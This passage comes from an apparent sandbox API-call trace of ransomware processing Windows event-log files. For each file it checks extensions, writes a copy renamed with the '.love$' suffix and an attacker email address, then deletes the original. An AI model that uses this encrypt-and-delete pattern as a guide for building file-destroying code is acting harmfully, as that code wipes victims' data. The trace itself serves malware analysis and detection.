returned -1 [0118.578] lstrlenW (lpString=".rar") returned 4 [0118.578] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0118.578] lstrlenW (lpString=".bz2") returned 4 [0118.578] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0118.578] lstrlenW (lpString=".7z") returned 3 [0118.578] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0118.578] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0118.578] lstrlenW (lpString=".dbf") returned 4 [0118.578] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0118.578] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0118.578] lstrlenW (lpString=".1cd") returned 4 [0118.578] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0118.578] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0118.578] lstrlenW (lpString=".jpg") returned 4 [0118.578] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0118.578] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0118.578] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0118.578] lstrlenW (lpString=".doc") returned 4 [0118.578] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0118.578] lstrlenW (lpString=".docx") returned 5 [0118.578] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0118.578] lstrlenW (lpString=".pdf") returned 4 [0118.578] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0118.578] lstrlenW (lpString=".xls") returned 4 [0118.578] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0118.578] lstrlenW (lpString=".xlsx") returned 5 [0118.578] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0118.578] lstrlenW (lpString=".ppt") returned 4 [0118.579] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0118.579] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0118.579] lstrlenW (lpString=".zip") returned 4 [0118.579] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0118.579] lstrlenW (lpString=".rar") returned 4 [0118.579] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0118.579] lstrlenW (lpString=".bz2") returned 4 [0118.579] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0118.579] lstrlenW (lpString=".7z") returned 3 [0118.579] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0118.579] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0118.579] lstrlenW (lpString=".dbf") returned 4 [0118.579] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0118.579] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0118.579] lstrlenW (lpString=".1cd") returned 4 [0118.579] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0118.579] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0118.579] lstrlenW (lpString=".jpg") returned 4 [0118.579] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0118.579] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0118.579] lstrlenW (lpString="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 49 [0118.579] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0119.433] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=69632) returned 1 [0119.433] CloseHandle (hObject=0x370) returned 1 [0119.433] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 0x20 [0119.433] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0119.433] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0119.434] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.434] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.434] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0119.434] GetLastError () returned 0x0 [0119.434] ReadFile (in: hFile=0x370, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0119.442] WriteFile (in: hFile=0x3a4, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0119.447] ReadFile (in: hFile=0x370, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0119.447] WriteFile (in: hFile=0x3a4, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x136, lpOverlapped=0x0) returned 1 [0119.447] SetEndOfFile (hFile=0x3a4) returned 1 [0119.447] CloseHandle (hObject=0x3a4) returned 1 [0119.451] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.451] SetEndOfFile (hFile=0x370) returned 1 [0119.452] CloseHandle (hObject=0x370) returned 1 [0119.453] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0119.453] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 1 [0119.453] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0119.453] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0119.454] lstrlenW (lpString=".doc") returned 4 [0119.454] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0119.454] lstrlenW (lpString=".docx") returned 5 [0119.454] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0119.454] lstrlenW (lpString=".pdf") returned 4 [0119.454] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0119.454] lstrlenW (lpString=".xls") returned 4 [0119.454] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0119.454] lstrlenW (lpString=".xlsx") returned 5 [0119.454] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0119.454] lstrlenW (lpString=".ppt") returned 4 [0119.454] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0119.454] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0119.454] lstrlenW (lpString=".zip") returned 4 [0119.454] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0119.454] lstrlenW (lpString=".rar") returned 4 [0119.454] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0119.454] lstrlenW (lpString=".bz2") returned 4 [0119.454] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0119.454] lstrlenW (lpString=".7z") returned 3 [0119.454] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0119.454] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0119.454] lstrlenW (lpString=".dbf") returned 4 [0119.454] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0119.454] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0119.454] lstrlenW (lpString=".1cd") returned 4 [0119.454] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0119.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0119.455] lstrlenW (lpString=".jpg") returned 4 [0119.455] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0119.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0119.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0119.455] lstrlenW (lpString=".doc") returned 4 [0119.455] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0119.455] lstrlenW (lpString=".docx") returned 5 [0119.455] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0119.455] lstrlenW (lpString=".pdf") returned 4 [0119.455] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0119.455] lstrlenW (lpString=".xls") returned 4 [0119.455] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0119.455] lstrlenW (lpString=".xlsx") returned 5 [0119.455] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0119.455] lstrlenW (lpString=".ppt") returned 4 [0119.455] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0119.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0119.455] lstrlenW (lpString=".zip") returned 4 [0119.455] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0119.455] lstrlenW (lpString=".rar") returned 4 [0119.455] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0119.455] lstrlenW (lpString=".bz2") returned 4 [0119.455] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0119.456] lstrlenW (lpString=".7z") returned 3 [0119.456] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0119.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0119.456] lstrlenW (lpString=".dbf") returned 4 [0119.456] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0119.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0119.456] lstrlenW (lpString=".1cd") returned 4 [0119.456] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0119.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0119.456] lstrlenW (lpString=".jpg") returned 4 [0119.456] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0119.456] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0119.456] lstrlenW (lpString="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 59 [0119.456] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0119.457] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=69632) returned 1 [0119.457] CloseHandle (hObject=0x370) returned 1 [0119.457] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 0x20 [0119.457] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0119.457] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0119.457] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.457] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.457] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0120.449] GetLastError () returned 0x0 [0120.449] ReadFile (in: hFile=0x370, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0120.456] WriteFile (in: hFile=0x398, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0120.459] ReadFile (in: hFile=0x370, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0120.459] WriteFile (in: hFile=0x398, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x14a, lpOverlapped=0x0) returned 1 [0120.459] SetEndOfFile (hFile=0x398) returned 1 [0120.459] CloseHandle (hObject=0x398) returned 1 [0120.462] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.462] SetEndOfFile (hFile=0x370) returned 1 [0120.463] CloseHandle (hObject=0x370) returned 1 [0120.464] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0120.464] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 1 [0120.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0120.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0120.466] lstrlenW (lpString=".doc") returned 4 [0120.466] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0120.466] lstrlenW (lpString=".docx") returned 5 [0120.466] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0120.466] lstrlenW (lpString=".pdf") returned 4 [0120.466] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0120.466] lstrlenW (lpString=".xls") returned 4 [0120.466] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0120.466] lstrlenW (lpString=".xlsx") returned 5 [0120.466] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0120.466] lstrlenW (lpString=".ppt") returned 4 [0120.466] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0120.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0120.466] lstrlenW (lpString=".zip") returned 4 [0120.466] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0120.466] lstrlenW (lpString=".rar") returned 4 [0120.466] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0120.467] lstrlenW (lpString=".bz2") returned 4 [0120.467] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0120.467] lstrlenW (lpString=".7z") returned 3 [0120.467] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0120.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0120.467] lstrlenW (lpString=".dbf") returned 4 [0120.467] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0120.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0120.467] lstrlenW (lpString=".1cd") returned 4 [0120.467] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0120.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0120.467] lstrlenW (lpString=".jpg") returned 4 [0120.467] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0120.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0120.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0120.467] lstrlenW (lpString=".doc") returned 4 [0120.467] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0120.467] lstrlenW (lpString=".docx") returned 5 [0120.467] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0120.467] lstrlenW (lpString=".pdf") returned 4 [0120.467] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0120.467] lstrlenW (lpString=".xls") returned 4 [0120.467] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0120.467] lstrlenW (lpString=".xlsx") returned 5 [0120.467] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0120.467] lstrlenW (lpString=".ppt") returned 4 [0120.467] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0120.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0120.467] lstrlenW (lpString=".zip") returned 4 [0120.468] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0120.468] lstrlenW (lpString=".rar") returned 4 [0120.468] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0120.468] lstrlenW (lpString=".bz2") returned 4 [0120.468] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0120.468] lstrlenW (lpString=".7z") returned 3 [0120.468] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0120.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0120.468] lstrlenW (lpString=".dbf") returned 4 [0120.468] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0120.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0120.468] lstrlenW (lpString=".1cd") returned 4 [0120.468] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0120.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0120.468] lstrlenW (lpString=".jpg") returned 4 [0120.468] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0120.468] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0120.468] lstrlenW (lpString="Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 47 [0120.468] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0120.469] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=69632) returned 1 [0120.469] CloseHandle (hObject=0x370) returned 1 [0120.469] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 0x20 [0120.469] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.469] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0120.469] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.470] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.470] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0120.471] GetLastError () returned 0x0 [0120.471] ReadFile (in: hFile=0x370, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0120.483] WriteFile (in: hFile=0x398, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0120.486] ReadFile (in: hFile=0x370, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0120.486] WriteFile (in: hFile=0x398, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x132, lpOverlapped=0x0) returned 1 [0120.486] SetEndOfFile (hFile=0x398) returned 1 [0120.490] CloseHandle (hObject=0x398) returned 1 [0120.505] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.505] SetEndOfFile (hFile=0x370) returned 1 [0120.519] CloseHandle (hObject=0x370) returned 1 [0120.531] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0120.532] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 1 [0120.532] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0120.532] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0120.532] lstrlenW (lpString=".doc") returned 4 [0120.532] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0120.532] lstrlenW (lpString=".docx") returned 5 [0120.532] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0120.532] lstrlenW (lpString=".pdf") returned 4 [0120.532] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0120.532] lstrlenW (lpString=".xls") returned 4 [0120.532] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0120.533] lstrlenW (lpString=".xlsx") returned 5 [0120.533] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0120.533] lstrlenW (lpString=".ppt") returned 4 [0120.533] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0120.533] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0120.533] lstrlenW (lpString=".zip") returned 4 [0120.533] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0120.533] lstrlenW (lpString=".rar") returned 4 [0120.533] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0120.533] lstrlenW (lpString=".bz2") returned 4 [0120.533] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0120.533] lstrlenW (lpString=".7z") returned 3 [0120.533] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0120.533] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0120.533] lstrlenW (lpString=".dbf") returned 4 [0120.533] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0120.533] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0120.533] lstrlenW (lpString=".1cd") returned 4 [0120.533] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0120.533] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0120.533] lstrlenW (lpString=".jpg") returned 4 [0120.533] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0120.533] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0120.533] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0120.533] lstrlenW (lpString=".doc") returned 4 [0120.533] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0120.533] lstrlenW (lpString=".docx") returned 5 [0120.533] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0120.533] lstrlenW (lpString=".pdf") returned 4 [0120.533] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0120.533] lstrlenW (lpString=".xls") returned 4 [0120.533] 